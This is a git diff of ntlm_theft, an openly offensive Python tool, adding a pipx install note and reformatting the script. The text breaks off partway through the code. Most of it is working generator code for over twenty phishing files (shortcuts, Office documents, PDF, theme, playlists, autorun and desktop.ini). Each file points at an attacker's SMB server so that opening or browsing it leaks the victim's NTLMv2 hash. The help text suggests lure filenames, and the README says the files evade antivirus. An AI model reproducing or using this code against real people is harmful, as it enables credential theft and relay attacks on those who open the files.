diff --git a/README.md b/README.md index 7d27b3a..68c2e5b 100644 --- a/README.md +++ b/README.md @@ -2,9 +2,9 @@ A tool for generating multiple types of NTLMv2 hash theft files. -ntlm_theft is an Open Source Python3 Tool that generates 21 different types of hash theft documents. These can be used for phishing when either the target allows smb traffic outside their network, or if you are already inside the internal network. +ntlm_theft is an Open Source Python3 Tool that generates 21 different types of hash theft documents. These can be used for phishing when either the target allows smb traffic outside their network, or if you are already inside the internal network. -The benefits of these file types over say macro based documents or exploit documents are that all of these are built using "intended functionality". None were flagged by Windows Defender Antivirus on June 2020, and 17 of the 21 attacks worked on a fully patched Windows 10 host. +The benefits of these file types over say macro based documents or exploit documents are that all of these are built using "intended functionality". None were flagged by Windows Defender Antivirus on June 2020, and 17 of the 21 attacks worked on a fully patched Windows 10 host. ntlm_theft supports the following attack types: @@ -44,7 +44,7 @@ I've found it useful while penetration testing to easily see what file types I h These instructions will show you the requirements for and how to use ntlm_theft. -### Prerequisites +## Prerequisites ntlm_theft requires Python3 and xlsxwriter: @@ -52,7 +52,17 @@ ntlm_theft requires Python3 and xlsxwriter: pip3 install xlsxwriter ``` -### Required Parameters + +## Pipx Installation (For easier package package management) + +``` +pipx install git+https://github.com/Greenwolf/ntlm_theft +``` + +### Pipx Uninstall +``` +pipx uninstall ntlm_theft +``` To start up the tool 4 parameters must be provided, an input format, the input file or folder and the basic running mode: @@ -133,7 +143,7 @@ Generation Complete. ntlm_theft Created by Jacob Wilkin Copyright (C) 2020 Jacob Wilkin - + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -154,3 +164,4 @@ GNU General Public License for more details. * [Osanda](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) * [Violation Industry](https://www.youtube.com/watch?v=PDpBEY1roRc) * [@kazkansouh](https://github.com/kazkansouh) - Adding .lnk support +* [@schlop](https://github.com/schlopshow) - Added pipx installation method diff --git a/ntlm_theft.py b/ntlm_theft.py index b72fb76..7d1ab16 100644 --- a/ntlm_theft.py +++ b/ntlm_theft.py @@ -1,668 +1,676 @@ -#!/usr/bin/env -# -*- coding: utf-8 -*- -from __future__ import print_function - -# Tested on Windows 10 1903 Build 18362.720 -# Working Attacks: -# Browse to directory: .url -# Open file: .xml, .rtf, .jnlp, .xml (includePicture), .asx, .docx (includePicture), .docx (remoteTemplate), .docx (via Frameset), .xlsx (via External Cell), .htm (Open locally with Chrome, IE or Edge) -# Open file and allow: pdf -# Browser download and open: .application (Must be downloaded via a web browser and run) -# Partial Open file: .m3u (Works if you open with windows media player, but windows 10 auto opens with groove music) - -# In progress - desktop.ini (Need to test older windows versions), autorun.ini (Need to test before windows 7), scf (Need to test on older windows) - - -# References -# https://ired.team/offensive-security/initial-access/t1187-forced-authentication -# https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html -# https://ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros -# https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/ -# https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py -# https://github.com/rocketscientist911/excel-ntlmv2 -# https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/#comments -# https://www.youtube.com/watch?v=PDpBEY1roRc -# https://web.archive.org/web/20190106181024/https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt - -import argparse -import io -import os -import shutil -import xlsxwriter -from sys import exit - -#the basic path of the script, make it possible to run from anywhere -script_directory = os.path.dirname(os.path.abspath(__file__)) - -#arg parser to generate all or one file -#python ntlm_theft --generate all --ip 127.0.0.1 --filename board-meeting2020 -parser = argparse.ArgumentParser( - formatter_class=argparse.RawDescriptionHelpFormatter, - description='ntlm_theft by Jacob Wilkin(Greenwolf)', - usage='%(prog)s --generate all --server --filename ') -parser.add_argument('-v', '--version', action='version', - version='%(prog)s 0.1.0 : ntlm_theft by Jacob Wilkin(Greenwolf)') -parser.add_argument('-vv', '--verbose', action='store_true',dest='vv',help='Verbose Mode') -parser.add_argument('-g', '--generate', - action='store', - dest='generate', - required=True, - choices=set(( - "modern", - "all", - "scf", - "url", - "lnk", - "rtf", - "xml", - "htm", - "docx", - "xlsx", - "wax", - "m3u", - "asx", - "jnlp", - "application", - "pdf", - "zoom", - "libraryms", - "autoruninf", - "desktopini")), - help='Choose to generate all files or a specific filetype') -parser.add_argument('-s', '--server',action='store', dest='server',required=True, - help='The IP address of your SMB hash capture server (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)') -parser.add_argument('-f', '--filename',action='store', dest='filename',required=True, - help='The base filename without extension, can be renamed later (test, Board-Meeting2020, Bonus_Payment_Q4)') -args = parser.parse_args() - - -# NOT WORKING ON LATEST WINDOWS -# .scf remote IconFile Attack -# Filename: shareattack.scf, action=browse, attacks=explorer -def create_scf(generate,server,filename): - if generate == "modern": - print("Skipping SCF as it does not work on modern Windows") - return - file = open(filename,'w') - file.write('''[Shell] -Command=2 -IconFile=\\\\''' + server + '''\\tools\\nc.ico -[Taskbar] -Command=ToggleDesktop''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - -# .url remote url attack -def create_url_url(generate,server,filename): - file = open(filename,'w') - file.write('''[InternetShortcut] -URL=file://''' + server + '''/leak/leak.html''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - - -# .url remote IconFile attack -# Filename: shareattack.url, action=browse, attacks=explorer -def create_url_icon(generate,server,filename): - file = open(filename,'w') - file.write('''[InternetShortcut] -URL=whatever -WorkingDirectory=whatever -IconFile=\\\\''' + server + '''\\%USERNAME%.icon -IconIndex=1''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - -# .rtf remote INCLUDEPICTURE attack -# Filename: shareattack.rtf, action=open, attacks=notepad/wordpad -def create_rtf(generate,server,filename): - file = open(filename,'w') - file.write('''{\\rtf1{\\field{\\*\\fldinst {INCLUDEPICTURE "file://''' + server + '''/test.jpg" \\\\* MERGEFORMAT\\\\d}}{\\fldrslt}}}''') - file.close() - print("Created: " + filename + " (OPEN)") - -# .xml remote stylesheet attack -# Filename: shareattack.xml, action=open, attacks=word -def create_xml(generate,server,filename): - file = open(filename,'w') - file.write(''' - -''') - file.close() - print("Created: " + filename + " (OPEN)") - -# .xml with remote includepicture field attack -# Filename: shareattack.xml, action=open, attacks=word -def create_xml_includepicture(generate,server, filename): - documentfilename = os.path.join(script_directory,"templates", "includepicture-template.xml") - # Read the template file - file = open(documentfilename, 'r', encoding="utf8") - filedata = file.read() - file.close() - # Replace the target string - filedata = filedata.replace('127.0.0.1', server) - # Write the file out again - file = open(filename, 'w', encoding="utf8") - file.write(filedata) - file.close() - print("Created: " + filename + " (OPEN)") - -# .htm with remote image attack -# Filename: shareattack.htm, action=open, attacks=internet explorer + Edge + Chrome when launched from desktop -def create_htm(generate,server,filename): - file = open(filename,'w') - file.write(''' - - -''') - file.close() - print("Created: " + filename + " (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)") - -# .htm with rlocal handler attack -# Filename: shareattack-(handler).htm, action=open, attacks=open in web browser, will automatically open word -def create_htm_handler(generate,server,filename): - file = open(filename,'w') - file.write(''' - - -''') - file.close() - print("Created: " + filename + " (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)") - -# .docx file with remote includepicture field attack -def create_docx_includepicture(generate,server,filename): - # Source path - src = os.path.join(script_directory,"templates", "docx-includepicture-template") - # Destination path - dest = os.path.join("docx-includepicture-template") - # Copy the content of - # source to destination - shutil.copytree(src, dest) - documentfilename = os.path.join("docx-includepicture-template", "word", "_rels", "document.xml.rels") - # Read the template file - file = open(documentfilename, 'r') - filedata = file.read() - file.close() - # Replace the target string - filedata = filedata.replace('127.0.0.1', server) - # Write the file out again - file = open(documentfilename, 'w') - file.write(filedata) - file.close() - shutil.make_archive(filename, 'zip', "docx-includepicture-template") - os.rename(filename +".zip",filename) - shutil.rmtree("docx-includepicture-template") - print("Created: " + filename + " (OPEN)") - -# .docx file with remote template attack -# Filename: shareattack.docx (unzip and put inside word\_rels\settings.xml.rels), action=open, attacks=word -# Instructions: Word > Create New Document > Choose a Template > Unzip docx, change target in word\_rels\settings.xml.rels change target to smb server -def create_docx_remote_template(generate,server,filename): - # Source path - src = os.path.join(script_directory,"templates", "docx-remotetemplate-template") - # Destination path - dest = os.path.join("docx-remotetemplate-template") - # Copy the content of - # source to destination - shutil.copytree(src, dest) - documentfilename = os.path.join("docx-remotetemplate-template", "word", "_rels", "settings.xml.rels") - # Read the template file - file = open(documentfilename, 'r') - filedata = file.read() - file.close() - # Replace the target string - filedata = filedata.replace('127.0.0.1', server) - # Write the file out again - file = open(documentfilename, 'w') - file.write(filedata) - file.close() - shutil.make_archive(filename, 'zip', "docx-remotetemplate-template") - os.rename(filename +".zip",filename) - shutil.rmtree("docx-remotetemplate-template") - print("Created: " + filename + " (OPEN)") - -# .docx file with Frameset attack -def create_docx_frameset(generate,server,filename): - # Source path - src = os.path.join(script_directory,"templates", "docx-frameset-template") - # Destination path - dest = os.path.join("docx-frameset-template") - # Copy the content of - # source to destination - shutil.copytree(src, dest) - documentfilename = os.path.join("docx-frameset-template", "word", "_rels", "webSettings.xml.rels") - # Read the template file - file = open(documentfilename, 'r') - filedata = file.read() - file.close() - # Replace the target string - filedata = filedata.replace('127.0.0.1', server) - # Write the file out again - file = open(documentfilename, 'w') - file.write(filedata) - file.close() - shutil.make_archive(filename, 'zip', "docx-frameset-template") - os.rename(filename +".zip",filename) - shutil.rmtree("docx-frameset-template") - print("Created: " + filename + " (OPEN)") - -# .xlsx file with cell based attack -def create_xlsx_externalcell(generate,server,filename): - workbook = xlsxwriter.Workbook(filename) - worksheet = workbook.add_worksheet() - worksheet.write_url('AZ1', "external://"+server+"\\share\\[Workbookname.xlsx]SheetName'!$B$2:$C$62,2,FALSE)") - workbook.close() - print("Created: " + filename + " (OPEN)") - -# .wax remote playlist attack -# Filename: shareattack.wax, action=open, attacks=windows media player -def create_wax(generate,server,filename): - file = open(filename,'w') - file.write('''https://''' + server + '''/test -file://\\\\''' + server + '''/steal/file''') - file.close() - print("Created: " + filename + " (OPEN)") - -# .m3u remote playlist attack -# Filename: shareattack.m3u, action=open, attacks=windows media player -def create_m3u(generate,server,filename): - file = open(filename,'w') - file.write('''#EXTM3U -#EXTINF:1337, Leak -\\\\''' + server + '''\\leak.mp3''') - file.close() - print("Created: " + filename + " (OPEN IN WINDOWS MEDIA PLAYER ONLY)") - -# .asx remote playlist attack -# Filename: shareattack.asx, action=open, attacks=windows media player -def create_asx(generate,server,filename): - file = open(filename,'w') - file.write(''' - Leak - - - - -''') - file.close() - print("Created: " + filename + " (OPEN)") - -# .jnlp remote jar attack -# Filename: shareattack.jnlp, action=open, attacks=java web start -def create_jnlp(generate,server,filename): - file = open(filename,'w') - file.write(''' - - - - - -''') - file.close() - print("Created: " + filename + " (OPEN)") - -# .application remote dependency codebase attack -# Filename: shareattack.application, action=open, attacks= .NET ClickOnce -def create_application(generate,server,filename): - file = open(filename,'w') - file.write(''' - -    -    -    -    -       -          -          -             -                -             -             -            ESZ11736AFIJnp6lKpFYCgjw4dU= -          -       -    -''') - file.close() - print("Created: " + filename + " (DOWNLOAD AND OPEN)") - -# .pdf remote object? attack -# Filename: shareattack.pdf, action=open, attacks=Adobe Reader (Others?) -def create_pdf(generate,server,filename): - file = open(filename,'w') - file.write('''%PDF-1.7 -1 0 obj -<> -endobj -2 0 obj -<> -endobj -3 0 obj -<>>> -endobj -xref -0 4 -0000000000 65535 f -0000000015 00000 n -0000000060 00000 n -0000000111 00000 n -trailer -<> -startxref -190 -3 0 obj -<< /Type /Page - /Contents 4 0 R - /AA << - /O << - /F (\\\\\\\\''' + server + '''\\\\test) - /D [ 0 /Fit] - /S /GoToE - >> - >> - /Parent 2 0 R - /Resources << - /Font << - /F1 << - /Type /Font - /Subtype /Type1 - /BaseFont /Helvetica - >> - >> - >> ->> -endobj -4 0 obj<< /Length 100>> -stream -BT -/TI_0 1 Tf -14 0 0 14 10.000 753.976 Tm -0.0 0.0 0.0 rg -(PDF Document) Tj -ET -endstream -endobj -trailer -<< - /Root 1 0 R ->> -%%EOF''') - file.close() - print("Created: " + filename + " (OPEN AND ALLOW)") - - -def create_zoom(generate,server,filename): - if generate == "modern": - print("Skipping zoom as it does not work on the latest versions") - return - file = open(filename,'w') - file.write('''To attack zoom, just put the following link along with your phishing message in the chat window: - -\\\\''' + server + '''\\xyz -''') - file.close() - print("Created: " + filename + " (PASTE TO CHAT)") - -def create_theme(generate,server,filename): - with open(filename, 'w') as file: - file.write('''[Theme] -; Windows - IDS_THEME_DISPLAYNAME_AERO_LIGHT -DisplayName=\\'''+ server +''' Theme -SetLogonBackground=0 -; Computer - SHIDI_SERVER -[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon] -DefaultValue=\\\\'''+server+'''\\setup.exe,-109 - -; UsersFiles - SHIDI_USERFILES -[CLSID\\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\\DefaultIcon] -DefaultValue=\\\\'''+server+'''\\setup.exe,-123 - -; Network - SHIDI_MYNETWORK -[CLSID\\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\\DefaultIcon] -DefaultValue=\\\\'''+server+'''\\setup.exe,-25 - -; Recycle Bin - SHIDI_RECYCLERFULL SHIDI_RECYCLER -[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon] -Full=\\\\'''+server+'''\\setup.exe,-54 -Empty=\\\\'''+server+'''\\setup.exe,-55 - -[Control Panel\\Cursors] -AppStarting=\\\\'''+server+'''\\setup.exe -Arrow=\\\\'''+server+'''\\aero_arrow.cur -Crosshair= -Hand=\\\\'''+server+'''\\aero_link.cur -Help=\\\\'''+server+'''\\aero_helpsel.cur -IBeam= -No=\\\\'''+server+'''\\aero_unavail.cur -NWPen=\\\\'''+server+'''\\aero_pen.cur -SizeAll=\\\\'''+server+'''\\aero_move.cur -SizeNESW=\\\\'''+server+'''\\aero_nesw.cur -SizeNS=\\\\'''+server+'''\\aero_ns.cur -SizeNWSE=\\\\'''+server+'''\\aero_nwse.cur -SizeWE=\\\\'''+server+'''\\aero_ew.cur -UpArrow=\\\\'''+server+'''\\aero_up.cur -Wait=\\\\'''+server+'''\\aero_busy.ani -DefaultValue=Windows Default -DefaultValue.MUI=@main.cpl,-1020 - -[Control Panel\\Desktop] -Wallpaper=\\\\'''+server+'''\\setup.exe -TileWallpaper=0 -WallpaperStyle=10 -Pattern= -MultimonBackgrounds=0 - -[VisualStyles] -Path=\\\\'''+server+'''\\Themes\\Aero\\Aero.msstyles -ColorStyle=NormalColor -Size=NormalSize -AutoColorization=0 -ColorizationColor=0XC40078D4 -SystemMode=Light -AppMode=Light - -[boot] -SCRNSAVE.EXE= - -[MasterThemeSelector] -MTSM=RJSPBS - -[Sounds] -; IDS_SCHEME_DEFAULT -SchemeName=@\\\\'''+server+'''\\setup.dll,-800 - ''') - print("Created: " + filename + " (THEME TO INSTALL") - -def create_autoruninf(generate,server,filename): - if generate == "modern": - print("Skipping Autorun.inf as it does not work on modern Windows") - return - file = open(filename,'w') - file.write('''[autorun] -open=\\\\''' + server + '''\\setup.exe -icon=something.ico -action=open Setup.exe''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - -def create_desktopini(generate,server,filename): - if generate == "modern": - print("Skipping desktop.ini as it does not work on modern Windows") - return - file = open(filename,'w') - file.write('''[.ShellClassInfo] -IconResource=\\\\''' + server + '''\\aa''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - -def create_libraryms(generate,server,filename): - file = open(filename,'w') - file.write(''' - -@shell32.dll,-34575 -S-1-5-21-372074477-2495183225-776587326-1000 -1 -true -\\\\''' + server + '''\\aa - -{7d49d726-3c21-4f05-99aa-fdc2c9474656} - - - -@shell32.dll,-34577 -true - -knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7} -MBAAAEAFCAAA...MFNVAAAAAA - - - -@shell32.dll,-34579 -true - -knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634} -MBAAAEAFCAAA...HJIfK9AAAAAA - - - -''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - - -# .lnk remote IconFile Attack -# Filename: shareattack.lnk, action=browse, attacks=explorer -def create_lnk(generate,server,filename): - # these two numbers define location in template that holds icon location - offset = 0x136 - max_path = 0xDF - unc_path = f'\\\\{server}\\tools\\nc.ico' - if len(unc_path) >= max_path: - print("Server name too long for lnk template, skipping.") - return - unc_path = unc_path.encode('utf-16le') - with open(os.path.join(script_directory,"templates", "shortcut-template.lnk"), 'rb') as lnk: - shortcut = list(lnk.read()) - for i in range(0, len(unc_path)): - shortcut[offset + i] = unc_path[i] - with open(filename,'wb') as file: - file.write(bytes(shortcut)) - print("Created: " + filename + " (BROWSE TO FOLDER)") - - -# create folder to hold templates, if already exists delete it -if os.path.exists(args.filename): - if input(f"Are you sure to want to delete {args.filename}? [Y/N]").lower not in ["y", "yes"]: - exit(0) - shutil.rmtree(args.filename) -os.makedirs(args.filename) - -# handle which documents to create -if (args.generate == "all" or args.generate == "modern"): - create_scf(args.generate, args.server, os.path.join(args.filename, args.filename + ".scf")) - - create_url_url(args.generate, args.server, os.path.join(args.filename, args.filename + "-(url).url")) - create_url_icon(args.generate, args.server, os.path.join(args.filename, args.filename + "-(icon).url")) - - create_lnk(args.generate, args.server, os.path.join(args.filename, args.filename + ".lnk")) - - create_rtf(args.generate, args.server, os.path.join(args.filename, args.filename + ".rtf")) - - create_xml(args.generate, args.server, os.path.join(args.filename, args.filename + "-(stylesheet).xml")) - create_xml_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(fulldocx).xml")) - - create_htm(args.generate, args.server, os.path.join(args.filename, args.filename + ".htm")) - create_htm_handler(args.generate, args.server, os.path.join(args.filename, args.filename + "-(handler).htm")) - - create_docx_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(includepicture).docx")) - create_docx_remote_template(args.generate, args.server, os.path.join(args.filename, args.filename + "-(remotetemplate).docx")) - create_docx_frameset(args.generate, args.server, os.path.join(args.filename, args.filename + "-(frameset).docx")) - - create_xlsx_externalcell(args.generate, args.server, os.path.join(args.filename, args.filename + "-(externalcell).xlsx")) - - create_wax(args.generate, args.server, os.path.join(args.filename, args.filename + ".wax")) - - create_m3u(args.generate, args.server, os.path.join(args.filename, args.filename + ".m3u")) - - create_asx(args.generate, args.server, os.path.join(args.filename, args.filename + ".asx")) - - create_jnlp(args.generate, args.server, os.path.join(args.filename, args.filename + ".jnlp")) - - create_application(args.generate, args.server, os.path.join(args.filename, args.filename + ".application")) - - create_pdf(args.generate, args.server, os.path.join(args.filename, args.filename + ".pdf")) - - create_zoom(args.generate, args.server, os.path.join(args.filename, "zoom-attack-instructions.txt")) - - create_libraryms(args.generate, args.server, os.path.join(args.filename, args.filename + ".library-ms")) - - create_autoruninf(args.generate, args.server, os.path.join(args.filename, "Autorun.inf")) - - create_desktopini(args.generate, args.server, os.path.join(args.filename, "desktop.ini")) - - create_theme(args.generate, args.server, os.path.join(args.filename, args.filename + ".theme")) - -elif(args.generate == "scf"): - create_scf(args.generate, args.server, os.path.join(args.filename, args.filename + ".scf")) - -elif(args.generate == "url"): - create_url_url(args.generate, args.server, os.path.join(args.filename, args.filename + "-(url).url")) - create_url_icon(args.generate, args.server, os.path.join(args.filename, args.filename + "-(icon).url")) - -elif(args.generate == "lnk"): - create_lnk(args.generate, args.server, os.path.join(args.filename, args.filename + ".lnk")) - -elif(args.generate == "rtf"): - create_rtf(args.generate, args.server, os.path.join(args.filename, args.filename + ".rtf")) - -elif(args.generate == "xml"): - create_xml(args.generate, args.server, os.path.join(args.filename, args.filename + "-(stylesheet).xml")) - create_xml_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(fulldocx).xml")) - -elif(args.generate == "htm"): - create_htm(args.generate, args.server, os.path.join(args.filename, args.filename + ".htm")) - -elif(args.generate == "docx"): - create_docx_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(includepicture).docx")) - create_docx_remote_template(args.generate, args.server, os.path.join(args.filename, args.filename + "-(remotetemplate).docx")) - create_docx_frameset(args.generate, args.server, os.path.join(args.filename, args.filename + "-(frameset).docx")) - -elif(args.generate == "xlsx"): - create_xlsx_externalcell(args.generate, args.server, os.path.join(args.filename, args.filename + "-(externalcell).xlsx")) - -elif(args.generate == "wax"): - create_wax(args.generate, args.server, os.path.join(args.filename, args.filename + ".wax")) - -elif(args.generate == "m3u"): - create_m3u(args.generate, args.server, os.path.join(args.filename, args.filename + ".m3u")) - -elif(args.generate == "asx"): - create_asx(args.generate, args.server, os.path.join(args.filename, args.filename + ".asx")) - -elif(args.generate == "jnlp"): - create_jnlp(args.generate, args.server, os.path.join(args.filename, args.filename + ".jnlp")) - -elif(args.generate == "application"): - create_application(args.generate, args.server, os.path.join(args.filename, args.filename + ".application")) - -elif(args.generate == "pdf"): - create_pdf(args.generate, args.server, os.path.join(args.filename, args.filename + ".pdf")) - -elif(args.generate == "zoom"): - create_zoom(args.generate, args.server, os.path.join(args.filename, "zoom-attack-instructions.txt")) - -elif(args.generate == "libraryms"): - create_libraryms(args.generate, args.server, os.path.join(args.filename, args.filename + ".library-ms")) - -elif(args.generate == "autoruninf"): - create_autoruninf(args.generate, args.server, os.path.join(args.filename, "Autorun.inf")) - -elif(args.generate == "desktopini"): - create_desktopini(args.generate, args.server, os.path.join(args.filename, "desktop.ini")) - -elif(args.generate == "theme"): - create_theme(args.generate, args.server, os.path.join(args.filename, args.filename + ".theme")) - -print("Generation Complete.") +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +from __future__ import print_function + +# Tested on Windows 10 1903 Build 18362.720 +# Working Attacks: +# Browse to directory: .url +# Open file: .xml, .rtf, .jnlp, .xml (includePicture), .asx, .docx (includePicture), .docx (remoteTemplate), .docx (via Frameset), .xlsx (via External Cell), .htm (Open locally with Chrome, IE or Edge) +# Open file and allow: pdf +# Browser download and open: .application (Must be downloaded via a web browser and run) +# Partial Open file: .m3u (Works if you open with windows media player, but windows 10 auto opens with groove music) + +# In progress - desktop.ini (Need to test older windows versions), autorun.ini (Need to test before windows 7), scf (Need to test on older windows) + + +# References +# https://ired.team/offensive-security/initial-access/t1187-forced-authentication +# https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html +# https://ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros +# https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/ +# https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py +# https://github.com/rocketscientist911/excel-ntlmv2 +# https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/#comments +# https://www.youtube.com/watch?v=PDpBEY1roRc +# https://web.archive.org/web/20190106181024/https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt + +import argparse +import io +import os +import shutil +import xlsxwriter +from sys import exit + +#the basic path of the script, make it possible to run from anywhere +script_directory = os.path.dirname(os.path.abspath(__file__)) + +#arg parser to generate all or one file +#python ntlm_theft --generate all --ip 127.0.0.1 --filename board-meeting2020 +def build_parser(): + parser = argparse.ArgumentParser( + formatter_class=argparse.RawDescriptionHelpFormatter, + description='ntlm_theft by Jacob Wilkin(Greenwolf)', + usage='%(prog)s --generate all --server --filename ') + parser.add_argument('-v', '--version', action='version', + version='%(prog)s 0.1.0 : ntlm_theft by Jacob Wilkin(Greenwolf)') + parser.add_argument('-vv', '--verbose', action='store_true',dest='vv',help='Verbose Mode') + parser.add_argument('-g', '--generate', + action='store', + dest='generate', + required=True, + choices=set(( + "modern", + "all", + "scf", + "url", + "lnk", + "rtf", + "xml", + "htm", + "docx", + "xlsx", + "wax", + "m3u", + "asx", + "jnlp", + "application", + "pdf", + "zoom", + "libraryms", + "autoruninf", + "desktopini")), + help='Choose to generate all files or a specific filetype') + parser.add_argument('-s', '--server',action='store', dest='server',required=True, + help='The IP address of your SMB hash capture server (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)') + parser.add_argument('-f', '--filename',action='store', dest='filename',required=True, + help='The base filename without extension, can be renamed later (test, Board-Meeting2020, Bonus_Payment_Q4)') + return parser + + +# NOT WORKING ON LATEST WINDOWS +# .scf remote IconFile Attack +# Filename: shareattack.scf, action=browse, attacks=explorer +def create_scf(generate,server,filename): + if generate == "modern": + print("Skipping SCF as it does not work on modern Windows") + return + file = open(filename,'w') + file.write('''[Shell] +Command=2 +IconFile=\\\\''' + server + '''\\tools\\nc.ico +[Taskbar] +Command=ToggleDesktop''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + +# .url remote url attack +def create_url_url(generate,server,filename): + file = open(filename,'w') + file.write('''[InternetShortcut] +URL=file://''' + server + '''/leak/leak.html''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + + +# .url remote IconFile attack +# Filename: shareattack.url, action=browse, attacks=explorer +def create_url_icon(generate,server,filename): + file = open(filename,'w') + file.write('''[InternetShortcut] +URL=whatever +WorkingDirectory=whatever +IconFile=\\\\''' + server + '''\\%USERNAME%.icon +IconIndex=1''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + +# .rtf remote INCLUDEPICTURE attack +# Filename: shareattack.rtf, action=open, attacks=notepad/wordpad +def create_rtf(generate,server,filename): + file = open(filename,'w') + file.write('''{\\rtf1{\\field{\\*\\fldinst {INCLUDEPICTURE "file://''' + server + '''/test.jpg" \\\\* MERGEFORMAT\\\\d}}{\\fldrslt}}}''') + file.close() + print("Created: " + filename + " (OPEN)") + +# .xml remote stylesheet attack +# Filename: shareattack.xml, action=open, attacks=word +def create_xml(generate,server,filename): + file = open(filename,'w') + file.write(''' + +''') + file.close() + print("Created: " + filename + " (OPEN)") + +# .xml with remote includepicture field attack +# Filename: shareattack.xml, action=open, attacks=word +def create_xml_includepicture(generate,server, filename): + documentfilename = os.path.join(script_directory,"templates", "includepicture-template.xml") + # Read the template file + file = open(documentfilename, 'r', encoding="utf8") + filedata = file.read() + file.close() + # Replace the target string + filedata = filedata.replace('127.0.0.1', server) + # Write the file out again + file = open(filename, 'w', encoding="utf8") + file.write(filedata) + file.close() + print("Created: " + filename + " (OPEN)") + +# .htm with remote image attack +# Filename: shareattack.htm, action=open, attacks=internet explorer + Edge + Chrome when launched from desktop +def create_htm(generate,server,filename): + file = open(filename,'w') + file.write(''' + + +''') + file.close() + print("Created: " + filename + " (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)") + +# .htm with rlocal handler attack +# Filename: shareattack-(handler).htm, action=open, attacks=open in web browser, will automatically open word +def create_htm_handler(generate,server,filename): + file = open(filename,'w') + file.write(''' + + +''') + file.close() + print("Created: " + filename + " (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)") + +# .docx file with remote includepicture field attack +def create_docx_includepicture(generate,server,filename): + # Source path + src = os.path.join(script_directory,"templates", "docx-includepicture-template") + # Destination path + dest = os.path.join("docx-includepicture-template") + # Copy the content of + # source to destination + shutil.copytree(src, dest) + documentfilename = os.path.join("docx-includepicture-template", "word", "_rels", "document.xml.rels") + # Read the template file + file = open(documentfilename, 'r') + filedata = file.read() + file.close() + # Replace the target string + filedata = filedata.replace('127.0.0.1', server) + # Write the file out again + file = open(documentfilename, 'w') + file.write(filedata) + file.close() + shutil.make_archive(filename, 'zip', "docx-includepicture-template") + os.rename(filename +".zip",filename) + shutil.rmtree("docx-includepicture-template") + print("Created: " + filename + " (OPEN)") + +# .docx file with remote template attack +# Filename: shareattack.docx (unzip and put inside word\_rels\settings.xml.rels), action=open, attacks=word +# Instructions: Word > Create New Document > Choose a Template > Unzip docx, change target in word\_rels\settings.xml.rels change target to smb server +def create_docx_remote_template(generate,server,filename): + # Source path + src = os.path.join(script_directory,"templates", "docx-remotetemplate-template") + # Destination path + dest = os.path.join("docx-remotetemplate-template") + # Copy the content of + # source to destination + shutil.copytree(src, dest) + documentfilename = os.path.join("docx-remotetemplate-template", "word", "_rels", "settings.xml.rels") + # Read the template file + file = open(documentfilename, 'r') + filedata = file.read() + file.close() + # Replace the target string + filedata = filedata.replace('127.0.0.1', server) + # Write the file out again + file = open(documentfilename, 'w') + file.write(filedata) + file.close() + shutil.make_archive(filename, 'zip', "docx-remotetemplate-template") + os.rename(filename +".zip",filename) + shutil.rmtree("docx-remotetemplate-template") + print("Created: " + filename + " (OPEN)") + +# .docx file with Frameset attack +def create_docx_frameset(generate,server,filename): + # Source path + src = os.path.join(script_directory,"templates", "docx-frameset-template") + # Destination path + dest = os.path.join("docx-frameset-template") + # Copy the content of + # source to destination + shutil.copytree(src, dest) + documentfilename = os.path.join("docx-frameset-template", "word", "_rels", "webSettings.xml.rels") + # Read the template file + file = open(documentfilename, 'r') + filedata = file.read() + file.close() + # Replace the target string + filedata = filedata.replace('127.0.0.1', server) + # Write the file out again + file = open(documentfilename, 'w') + file.write(filedata) + file.close() + shutil.make_archive(filename, 'zip', "docx-frameset-template") + os.rename(filename +".zip",filename) + shutil.rmtree("docx-frameset-template") + print("Created: " + filename + " (OPEN)") + +# .xlsx file with cell based attack +def create_xlsx_externalcell(generate,server,filename): + workbook = xlsxwriter.Workbook(filename) + worksheet = workbook.add_worksheet() + worksheet.write_url('AZ1', 